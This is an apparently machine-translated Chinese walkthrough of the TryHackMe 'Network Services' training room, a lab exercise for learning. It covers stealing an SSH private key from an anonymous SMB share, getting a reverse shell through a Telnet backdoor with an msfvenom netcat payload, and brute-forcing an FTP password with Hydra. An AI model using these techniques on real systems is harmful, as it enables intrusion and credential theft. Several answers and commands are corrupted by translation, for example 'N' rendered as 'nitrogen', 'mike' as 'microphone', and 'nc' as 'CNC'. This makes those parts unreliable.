這是為 TryHackMe.com 房間 Network Services 撰寫的文章,由 Polomints 創建。
這篇文章將包括大多數問題的答案,但是,根據 TryHackMe 的要求,它不會包括標誌或密碼。
在撰寫本文時和此處,可以在網路防禦學習路徑中找到該房間。
您可以在此處找到我的影片演練。
這個房間裡的任務遵循重複的模式:理解、列舉和利用。理解任務會教您有關將要利用的服務的資訊。枚舉任務教您如何收集有關服務的資料。然後,利用任務讓您對每個服務執行利用。
此房間使用的虛擬機器均位於枚舉任務中,以綠色堆疊圖示表示 。由於虛擬機器可能需要 1-5 分鐘才能啟動,因此我建議您在開始理解任務之前,請跳至枚舉任務並啟動電腦。這讓您有時間在返回並完成理解任務時進行設定。
另外,假設您和我一樣是 TryHackMe 的新手。在這種情況下,您可能只會遇到可以使用 OpenVPN 連接到的虛擬機,方法是在瀏覽器中輸入其 IP 位址(通常使用任務中提到的連接埠號碼),然後將您帶到 GUI。這個房間的情況並非如此。這些虛擬機器設定為提供您正在測試的服務,並且僅提供這些服務。這表示您將使用本機電腦上的終端機(攻擊盒),或者如果您是進階用戶,請使用基於瀏覽器的 Kali 盒與虛擬機器進行通訊。我使用基於瀏覽器的 Kali 盒子。
如果您將使用本機計算機,我建議使用 Linux 計算機或安裝了 Kali/您最喜歡的風格的 Windows Subsystem for Linux。您需要的所有工具都已隨 Kali 預裝,但可以添加到其他發行版中。另外,我的電腦上沒有適用於 Linux 的 Windows 子系統,因此您可能需要自己解決一些問題。
有一部分需要基於瀏覽器的 Kali 機器/攻擊盒中提供的文件。如果您想使用本機計算機,則必須啟動 Attack Box 並下載此檔案。您也可以只使用 Attack Box 來完成任務 10。
@@ 我隨後了解到,您可以從其 GitHub 上的 rockyou.txt 下載該文件,這是迄今為止最簡單的方法,但我將在這裡留下這些附加說明,以防有人想嘗試它們。 @@
如何在 Windows 10 上使用 WinSCP 下載
如果您想下載 136MB 檔案並使用本機終端,以下是在 Windows 電腦上執行此操作的方法。對於傳輸,我使用了 WinSCP。首先,啟動 splitview Attack Box。然後,一旦您可以訪問桌面,請單擊螢幕左下角的“i” 。這將為您提供攻擊盒的 IP 位址、使用者名稱和密碼。然後,在WinSCP的登入畫面上,選擇“New Site”,然後輸入攻擊盒的IP位址作為主機名,使用者名稱作為使用者名,密碼作為密碼。
記住;你的訊息將與我的不同。選擇 sftp 作為協議,它應該會自動填入連接埠 22;如果沒有,請輸入 22 作為連接埠。然後點選登入。您可能會收到一個彈出窗口,詢問您是否要“繼續連接到未知伺服器...”,請按一下“是”。登入後,您將進入Attack Box的根目錄;雙擊“Tools”,然後雙擊“wordlists”(WinSCP中的路徑會更改為/usr/share/wordlists/
就可以了。)找到名為rockyou.txt的文件,選擇它,然後點擊下載。
將開啟“下載”對話框,選擇您想要的任何檔案路徑,然後按一下“確定”。現在您已獲得任務 10 所需的文件。你會需要它的。
結束,如何在Windows 10上使用WinSCP下載
如何使用 Linux 終端機下載
就像 Windows 一樣,您將啟動分割視圖 Attack Box。然後,一旦您可以訪問桌面,請單擊螢幕左下角的“i” 。這將為您提供攻擊盒的 IP 位址、使用者名稱和密碼。
在您的終端機中,您將輸入sftp root@{Your Attack Box Private IP}
(不含括號)。執行本文中的命令時,請務必刪除大括號。我見過的每個 Attack Box 的使用者名稱都是 root;如果您的不同,請在上述命令中輸入使用者名稱代替 root。然後它會要求您輸入密碼。從 Attack Box 的電腦資訊視窗複製並貼上密碼。如果密碼沒有顯示,請不要擔心;只需貼上/輸入並按 Enter 鍵即可。連接後,您應該會收到sftp>
提示符號。如果出現問題,請仔細檢查您是否已連接 OpenVPN,以及您使用的使用者名稱/IP 位址/密碼是否正確。出現sftp
提示符號後,輸入get /root/Desktop/Tools/wordlists/rockyou.txt
,密切注意大小寫。它應該開始將檔案下載到您的本機系統。
如果您使用與我的發行版(Kali)類似的發行版,它應該將該檔案放入您用戶的主資料夾中。記住文件路徑;您將需要它來完成任務 10。
結束,如何使用Linux終端下載
現在,所有這些都完成了,讓我們開始執行任務吧!
此任務純粹是提供訊息,不需要回答問題。通讀它可以讓您知道您需要對 Linux 系統的操作有基本的了解,並建議您有一個提陞技能的空間。此外,它還提醒您保持水分。
點擊“已完成”按鈕並繼續下一個任務。
此任務向您介紹 Microsoft 服務伺服器訊息區塊 (SMB),這是一種用戶端-伺服器協議,用於透過網路共用對檔案、印表機和其他資源的存取。由於這是一項理論任務,請通讀資訊並回答以下問題。如果您以前從未見過 NetBEUI 這個詞,我也不會責怪您,它的發音是 Net Buoy,就像海洋浮標一樣。
如果您想最大程度地減少等待時間,我建議您立即打開任務 3 並點擊綠色的「啟動機器」按鈕,然後向上捲動並執行此任務。
問題1
SMB 代表什麼?
伺服器訊息區塊
問題2
SMB 是什麼類型的協定?
回應請求
問題3
客戶端使用什麼連接到伺服器?
TCP/IP
問題4
Samba 在什麼系統上運作?
Unix
此任務涵蓋了對於成功利用漏洞至關重要的資訊收集階段。
如果您按照上述說明進行操作,則您在完成任務 2 之前就已經為此任務啟動了機器。機器完全啟動並運行後,您將在頁面頂部看到 IP 位址;你會需要它。
首先簡單介紹一下連接埠掃描工具Nmap。如果您在繼續之前想要/需要更多 Nmap 經驗,它會推薦一個屬於 Red Primer 系列一部分的房間。對於這個房間,您需要知道的唯一兩個選項是-A
,它啟用操作系統檢測、版本檢測、腳本掃描和跟踪路由,以及選項-p-
,它告訴 Nmap 掃描所有端口,而不僅僅是端口1000個最常見。我們將在此處使用的 Nmap 掃描的語法是nmap {options} {target}
。因此,對於第一次掃描,它看起來類似於nmap -A -p- 10.10.10.10
,其中使用活動計算機的 IP 代替所有 10。此螢幕截圖顯示了您可以在哪裡找到您的電腦 IP。確保使用您的活動電腦的 IP,不要只複製您在此處看到的 IP。
我們還將使用 enum4linux 工具,這對我來說是新的。 enum4linux 用於列舉 Windows 和 Linux 系統上的 SMB 共用。有一個可用的 enum4linux 選項清單;然而,我使用的-a
選項涵蓋了所有這些。注意:為 enum4linux 提供的資訊將該選項描述為-A
帶大寫字母,這是不正確的;它必須是小寫a
。
問題1
執行您選擇的 Nmap 掃描。開放了多少個連接埠?
對於這個問題,您可以對nmap {IP of your Active Machine}
進行基本的 Nmap 掃描。但是,如果您想執行 1 次掃描並獲取以下問題的幾乎所有信息,請執行nmap -A -p- {IP of your Active Machine}
。這是透過基本掃描獲得的資訊。
從掃描結果中可以看到,有 3 個開放連接埠:22、139 和 445。
問題2
SMB 在哪些連接埠上運作?
這個問題有點棘手。 SMB 是連接埠 445 上的 Microsoft-ds 的一部分,但它可以在連接埠 139 上透過 NetBIOS 運行。
139/445
問題3
讓我們開始使用enum4linux,進行完整的基本枚舉。首先,工作小組名稱是什麼?
對於這個問題,如果您執行nmap -A {Your Machine's IP}
,您就已經擁有該資訊。
然而,這個問題正在教我們有關 enum4linux 的知識,所以讓我們使用它。執行enum4linux -a {IP Address of your Active Machine}
。
從上面的螢幕截圖中可以看到,工作組被列為 WORKGROUP。
問題4
機器的名稱是什麼?
對於這個問題,如果您使用nmap -A -p-
則需要向下捲動到掃描結果的「主機腳本結果」部分。
在電腦名稱下,顯示polosmb
。
對於 enum4linux,你必須做更多的推論。
問題5
上面的螢幕截圖中還包含了這個問題的答案。
正在運行什麼作業系統版本?
6.1
問題6
這個問題只能用enum4linux來回答。執行enum4linux -A {IP of your Active Machine}
哪些份額是我們可能想要調查的?
IPC$是進程間通訊;不需要那個。 print$ 用於印表機驅動程序,也不是我們真正想要的。 netlogon 用於網路登入服務,可能不會有我們需要的資訊。剩下的設定profiles
包含有關使用者設定檔的資訊。那有潛力。我們也許能夠在那裡找到用戶的登入資訊。
這是我們獲得更多樂趣的地方。我們將使用 SMBClient,它在 Kali 上可用,但可以添加到其他發行版。對於 SMBClient,我們將使用語法smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
。
問題1
在預設連接埠上具有 IP 10.10.10.2 的電腦上,以使用者「suit」身分存取名為「secret」的 SMB 共用的正確語法是什麼?
看看上面的語法,我們可以簡單地插入訊息。
smbcliet //10.10.10.2/secret -U suit -p 445
問題2太好了!現在您已經掌握了語法的竅門,讓我們嘗試利用此漏洞。您有用戶清單、共享名稱和可疑漏洞。
無需回答;只需單擊“完成”即可。
問題3
讓我們看看我們感興趣的共享是否已配置為允許匿名訪問,即;它不需要身份驗證即可查看文件。我們可以透過以下方式輕鬆做到這一點:
使用用戶名“匿名”
連接到我們在枚舉階段找到的共享
並且不提供密碼
當它要求輸入密碼時,只需按 Enter 鍵即可。
共享是否允許匿名存取?是/否?
如果您看到 smb:> 提示符,則表示您已成功登錄,無需提供密碼。因此, Y
共享允許匿名存取。
問題5
輸入ls
查看共享內容。您認為它能為我們提供一些資訊嗎?
第一個引起我注意的是文字檔。現在請記住,Linux 不喜歡名稱中帶有空格的文件,因此您必須在命令中在其周圍添加“”。說到,正如終端所說,輸入“help”將獲得可用命令的列表,我發現這非常有用。
通常,我會使用cat
來顯示 .txt 檔案的內容,但它不在清單中。看來 SMBClient 不知道這一點,所以我選擇了more
。
該文件為我們提供了兩大資訊:基於 John Cactus 的潛在使用者名稱、文件的地址以及 John 設定的 SSH 帳戶。
偉大的!四處看看是否有任何可能包含有價值資訊的有趣文件。我們可以假設此設定檔資料夾屬於誰?
約翰仙人掌
問題6
閱讀上一個問題中的 .txt 檔案也為我們提供了這個問題的答案。
配置了哪些服務以允許他在家工作?
SSH
問題7
現在我們已經完成了 .txt 文件,點擊「q」退出編輯器。
好的!現在我們知道了,我們應該查看共享上的哪個目錄?
鑑於我們正在尋找有關 John 的 SSH 帳戶的更多信息,我認為這裡有一個文件夾可能非常有用;你認為是哪一個?
.ssh
問題8
目錄包含身份驗證金鑰,允許使用者在伺服器上驗證自己的身份,然後存取伺服器。這些鑰匙中哪一個對我們最有價值?
因此,我們將透過輸入cd .ssh
進入 .ssh 資料夾。然後再次執行ls
指令查看內容。
預設 SSH 金鑰儲存在檔案id_rsa
中。這就是我們的答案。
如果您想查看 SSH 金鑰是什麼樣子,可以再次使用 more 命令來查看。 more id_rsa
。最重要的部分是它以“BEGIN RSA PRIVATE KEY”開頭,兩側各有 5 個破折號。然後以“END RSA PRIVATE KEY”結尾,兩側也帶有 5 個虛線。然後再次“q”退出編輯器。
現在,我們可以做一些額外的偵察,以使下一個問題變得更容易一些。運行more id_isa.pub
。看看在文件的最後你能看到什麼。
問題9
將此檔案下載到本機,然後使用「chmod 600 [file]」將權限變更為「600」。
要下載該文件,請查看幫助命令,看看您認為哪個命令最有可能導致下載。
我認為get
會是一種享受。因此,要下載仍在 .ssh 資料夾中的文件,您將執行get id_rsa
。在基於 Kali 瀏覽器的電腦上,該檔案會將檔案放入您的根目錄中。如果您使用本機運行的 Linux 發行版,它可能會將其放入您使用者的主目錄中。
現在,RSA金鑰檔案需要一定的安全性才能運作,因此我們需要為此檔案設定正確的權限。我們也停止了共享,因此運行quit
以返回到計算機的提示符。然後運行chmod 600 {File Path}
因此,對於 Kali Web 計算機, chmod 600 id_rsa
。對於其他計算機,您可以使用cd
導航到檔案所在的資料夾,然後執行上面的命令,我們在命令中鍵入檔案的路徑。
現在,使用您已經收集的資訊計算帳戶的使用者名稱。然後,使用服務和密鑰登入伺服器。
由於我們做了一點額外的偵察,我們知道用戶名是「cactus」。當我第一次遇到這個問題時,我假設用戶名是 j.cactus,然後遇到了一個我不明白的錯誤 - 找到正確的用戶名解決了這個問題。
使用指定金鑰的 SSH 語法為: ssh -i {Key File} {Username}@{IP Address}
。所以對我們來說,這將是ssh -i id_rsa cactus@{Active Machine's IP Address}
當它詢問您是否確定要繼續時,請輸入“yes”並按 Enter 鍵。恭喜!當您看到提示變更為cactus@polosmb:~$
時,您現在已成功使用不屬於您的帳戶登入伺服器。
使用ls
指令查看這裡有什麼,只有一個檔案;打開它,你就可以奪取那面旗幟了!您可以在這裡使用cat
將內容列印到螢幕上。
問題10
複製您剛剛開啟的文件的內容並將其貼到該答案的方塊中。 TryHackMe 要求寫入排除 Flags,所以我不打算將其發佈在這裡。
當 SMB 部分完成時,您應該終止目前的活動計算機,跳至任務 6 並啟動該計算機,然後返回任務 5。
Telnet 是一種過時的應用協定。它用於與遠端主機交互。一旦連接到遠端系統,它就成為該系統的虛擬終端。然而,它已經過時了,因為它以明文形式發送所有資訊;沒有加密。由於 SSH 更加安全,因此在大多數情況下已經取代了 Telnet。若要使用 Telnet 連接到遠端系統,請使用語法telnet {IP Address} {port Number}
。 Telnet 的預設連接埠是 23。
問題1
什麼是遠端登入?
應用協定
問題2
什麼已經慢慢取代了Telnet?
SSH
問題3
如何透過連接埠 23 連接到 IP 10.10.10.3 的 Telnet 伺服器?
遠端登入 10.10.10.3 23
問題4
缺少什麼意味著所有 Telnet 通訊都是明文形式?
加密
如果您尚未啟動電腦來執行此任務,請立即啟動。
與 SMB 任務一樣,我們將從執行目標系統的連接埠掃描開始。
執行nmap -A -p- {IP address of your Active Machine}
此掃描可能需要一段時間。我的完成時間為 174.56 秒。
問題1
目標機器上開啟了多少個連接埠?
僅“1”連接埠開啟。
問題2
這是什麼港口?注意:這是詢問哪個連接埠開放。
8012
問題3
該連接埠未分配,但仍列出它正在使用的協定;這是什麼協議?
傳輸控制協定
問題4
現在重新執行Nmap掃描,不含-p-標籤;有多少連接埠顯示為開放?
請記住, -p-
選項告訴 Nmap 掃描所有端口,因此透過刪除它,Nmap 將僅掃描前 1000 個端口。
“0”連接埠已開啟。
問題5
我們看到將 Telnet 分配給非標準端口,它不屬於常見端口列表或 Nmap 掃描的前 1000 個端口。枚舉時嘗試各個角度非常重要,因為您在此處收集的資訊將為您的利用階段提供資訊。
無需回答;點選完成
問題6
根據傳回給我們的標題,我們認為這個連接埠可以用來做什麼?
您可以在最後一個螢幕截圖的底部看到這個問題在談論什麼。
後門
問題7
它可能屬於誰?收集可能的用戶名是枚舉中的重要步驟。
和上一個問題一樣,資訊在最後一張截圖。
斯基迪
問題8
始終記下您在枚舉階段發現的訊息,以便在繼續嘗試漏洞時可以參考它。
記筆記非常重要。撰寫我們的調查結果報告是安全的重要組成部分。養成徹底記筆記的習慣會讓一切變得更容易。
無需回答;點選完成
方法細目
所以,從我們的列舉階段,我們知道:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
使用此信息,讓我們嘗試訪問此 Telnet 連接埠並使用它作為立足點,在計算機上獲得完整的反向 shell!
請記住上面的內容,telnet 的語法是telnet {Machine IP} {Port}
問題1
好吧,讓我們嘗試連接到這個 telnet 連接埠!如果您遇到困難,請查看上面概述的連接語法。
為此,您需要執行telnet {Your Active Machine's IP Address} 8012
因為即使 Telnet 的預設連接埠是 23(正如我們在 Nmap 搜尋中發現的那樣),該系統仍將其設定在非標準連接埠上。
無需回答;單擊完成。
問題2
偉大的!這是一個開放的 telnet 連線!我們收到什麼歡迎訊息?
斯基迪的後門。
問題3
讓我們嘗試執行一些指令。我們在 telnet 會話中輸入的任何輸入都會得到回傳嗎? (是/否)
對於此命令,請輸入您想要的任何命令。我嘗試ls
看看那裡有什麼。由於我們沒有得到任何訊息,所以這個問題的答案是:
氮
問題4
嗯……這很奇怪。讓我們檢查一下我們輸入的內容是否作為系統命令執行。
無需回答;按一下“完成”。
問題5
由於你的所有命令都被送到虛空,想要關閉這個連線有點困難。若要讓提示變更為有用的內容,請按ctrl + ]
。即同時按下 Ctrl 和右方括號鍵,這會將提示符號變更為telnet>
,然後鍵入close
並按 Enter 鍵。您現在應該回到平常的提示。或者,如果您願意,可以保持 telnet 會話連線並開啟一個新分頁/視窗來執行以下 tcpdump。
在本機上啟動 tcpdump 偵聽器。
tcpdump 偵聽器將監視所選介面的流量,然後將該流量記錄在螢幕上。您將啟動它,然後讓它在自己的選項卡/視窗中運行。
如果使用您自己的電腦進行 OpenVPN 連接,請使用:
sudo tcpdump ip proto icmp -i tun0
如果使用 AttackBox,請使用:
sudo tcpdump ip proto icmp -i eth0
這將啟動一個 tcpdump 偵聽器,明確偵聽 ping 操作所依據的 ICMP 流量。
兩者的差別在於網路介面。在你本地的 Linux 機器上,你應該使用 tun0,它是應該是 OpenVPN 連接的隧道設備,但不要引用我的話。您可能必須執行sudo ifconfig
來決定應使用哪個介面。
無需回答;點選完成
問題6
對於這個問題,我們將再次使用telnet會話;如果你還開著它,那就太好了。如果沒有,請開啟新分頁/視窗並使用上述相同步驟重新連接到電腦。請注意,對於此問題,您將需要您正在使用的系統(攻擊盒、Kali 機器或本機系統)的 IP 位址。
這個問題讓我們透過 telnet 會話執行 ping 命令。我們將輸入.RUN ping {Local IP Address} -c 1
。這將從遠端主機向我們的本機電腦發送 1 個 ping。如果您可以同時查看兩個窗口,您就可以看到發生了什麼。
現在,透過 telnet 會話使用命令「ping [local THM ip] -c 1」來查看我們是否能夠執行系統命令。我們收到任何 ping 嗎?注意,您需要在前面加上 .RUN (Y/N)
您應該透過 tcpdump 偵聽器在選項卡上看到 ping 請求和 ping 回應。
是
問題7
偉大的!這意味著我們可以執行系統命令並且可以存取本地電腦。現在就讓我們玩得開心吧!
無需回答;點擊繼續
問題8
對於此問題,您將保持 telnet 會話繼續,並在不同的選項卡/視窗中輸入該內容。您可以按ctrl + c
終止 tcpdump 偵聽器並使用該視窗;我們不再需要 tcpdump 了。執行下面的命令,並將本機系統的 IP 位址插入括號所在的位置,但不要去掉括號。一旦你按下命令的回車鍵,它會花費一些時間來產生有效負載,然後將其列印到螢幕上。
我們將使用 msfvenom 產生反向 shell 有效負載。這將為我們產生並編碼一個 netcat 反向 shell。這是我們的語法:
“msfvenom -p cmd/unix/reverse_netcat lhost=[本地tun0 ip] lport=4444 R”
-p = 有效負載 lhost = 我們的本機主機 IP 位址(這是您電腦的 IP 位址) lport = 要偵聽的連接埠(這是您電腦上的連接埠) R = 以原始格式匯出有效負載
產生的有效負載以什麼單字開頭?
MKFIFO
問題9
完美的。我們快到了。現在,我們需要做的就是在本機上啟動一個 netcat 監聽器。我們使用以下方法來做到這一點:
“nc -lvp [監聽埠]”
對於我們在有效負載中選擇的偵聽端口,該命令會是什麼樣子?
CNC-lvp 4444
問題10
偉大的!現在正在運行;我們需要將 msfvenom 負載複製並貼上到 telnet 會話中,並將其作為命令運行。希望這會給我們一個目標機器上的 shell!
請記住,要使該命令在 telnet 會話中運作;你需要在開始時有.RUN。
無需回答;單擊完成。
問題11
成功! flag.txt的內容是什麼?
如果反向 shell 有效,您應該在 netcat 偵聽器下看到「從 ip 等連接到 [10.10.xx]」。
從那裡,您可以像往常一樣輸入命令並將它們發送到遠端系統。
我建議從ls
開始查看那裡有哪些文件,並且您應該能夠找出其餘的文件,因為您之前已經捕獲過這樣的標誌。
有關 Telnet 的部分到此結束。因此,終止目前的活動機器,跳到任務 9,啟動機器,然後返回任務 8。
FTP,檔案傳輸協定。顧名思義,它用於透過網路傳輸檔案。常規 FTP 已經過時,並已被幾個不同的、更安全的標準所取代。 FTPS 是 FTP over TLS,因此它的預設連接埠仍然是 21,就像 FTP 一樣。另一種是SFTP,即安全文件傳輸協議,使用SSH,所以它的預設連接埠是22。
問題1
FTP 使用什麼通訊模型?
客戶端-伺服器
問題2
標準 FTP 連接埠是什麼?
21
問題3
FTP連線有幾種模式?
2
我們將使用 FTP 客戶端。要仔細檢查您的系統上是否安裝了 FTP 用戶端,您可以輸入ftp
,您應該會看到ftp>
提示字元。如果沒有,您所要做的就是透過sudo apt install ftp
安裝它。
問題1
我們將再次使用 Nmap 來列舉該 FTP 伺服器。查看以下問題,您將需要比從基本掃描中獲得的更多信息,因此我選擇了nmap {Active Machine IP Address} -A -p-
。
目標機器上開啟了多少個連接埠?
這個問題有點奇怪。當我跑過這個房間時,請查看我的正確答案,它顯示 2。我建議從 1 開始,如果不起作用,就說 2。
問題2
FTP 在什麼連接埠上運作?
21
問題3
其上正在運行什麼 FTP 變體?
VSFTPD
問題4
太好了,現在我們知道我們正在處理什麼類型的 FTP 伺服器了;我們可以檢查是否可以匿名登入FTP伺服器。我們可以透過在控制台中輸入ftp [IP]
並在出現提示時輸入「anonymous」且不輸入密碼來完成此操作。
匿名 FTP 目錄中的檔案的名稱是什麼?
PUBLIC_NOTICE.txt
問題5
對於這個問題,您將再次使用get
命令,就像使用 Telnet 一樣。輸入get PUBLIC_NOTICE.txt
這會將文件下載到您的系統,以便您可以查看其內容。您不再需要連接到 FTP 伺服器,因此輸入exit
返回標準提示字元。
現在,您需要找到剛剛下載的檔案。對於基於瀏覽器的 Kali 機器,它被放入您的根目錄中。它應該與您在 telnet 任務期間獲得的檔案位於同一目錄中。
一旦您在系統上找到它,就可以閱讀它了。導航到它所在的資料夾或使用cat
命令輸入整個檔案路徑。 cat PUBLIC_NOTICE.txt
並查看是否可以看到任何對我們有用的信息;也許是用戶名?
我們認為可能的用戶名是什麼?
麥克風
問題6
偉大的!現在我們已經獲得了有關 FTP 伺服器的詳細信息,最重要的是,還獲得了可能的用戶名。讓我們看看我們能用它做什麼...
無需回答;按一下“完成”。
對於這個特定的任務,我們將使用我們已經知道的用戶名mike
並嘗試暴力破解他的密碼。這就是rockyou.txt
檔案發揮作用的地方;它是一個密碼列表。如果您使用自己的本機系統,請記住下載它的位置並將其用作檔案路徑。我們將要使用的工具稱為 Hydra。 Hydra 可以取得密碼清單並在系統上嘗試使用它們來查看它們是否有效。
TryHackMe 頁面對我們將用於此攻擊的語法進行了詳細的細分。我強烈建議通讀它。
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
根據您使用的系統,您的檔案路徑可能會有所不同。另外,如果您使用的是基於瀏覽器的 Kali 機器,則需要執行額外的步驟。在 Kali 機器上,單字清單被壓縮為 GZ 檔案。我們需要解壓縮它。在終端機中輸入gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
。片刻之後,您將獲得所需的未壓縮檔案。
要找到正確的密碼,您需要輸入hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
。
如果一切成功,您應該將密碼顯示為清單中的最後一項。
用戶「mike」的密碼是什麼?
您可以在 Hydra 的輸出中找到這一點。
問題2
賓果!現在,讓我們以該使用者身分使用「ftp [IP]」連接到 FTP 伺服器,並在出現提示時輸入憑證
現在我們將使用我們新找到的憑證登入。
輸入ftp {Your Active Machine IP Address}
。然後輸入mike
作為使用者名,並輸入上一個問題的答案作為密碼。您現在應該有ftp>
提示符號。
無需回答;單擊完成。
問題3
使用ls
查看目錄的內容。這裡有兩個文件。 .txt 可能是人類可讀的。使用get
命令將其下載到您的系統。現在您已經執行了幾次此操作,您應該能夠找到該文件並查看其內容。如果您遇到困難,可以向上捲動並找到其他任務的說明。
ftp.txt 是什麼?
恭喜!您已經奪取了第三面旗幟並完成了房間的活動部分!幹得好!
此任務提供了一些地方供您進一步閱讀相關主題。
無需回答;按一下“完成”。
你穿過這個房間做得很好。一開始可能看起來很嚇人,可能輕而易舉,但你做到了。
非常感謝 Polomints 創建了這個房間,並感謝 TryHackMe 整理了這個優秀的網站。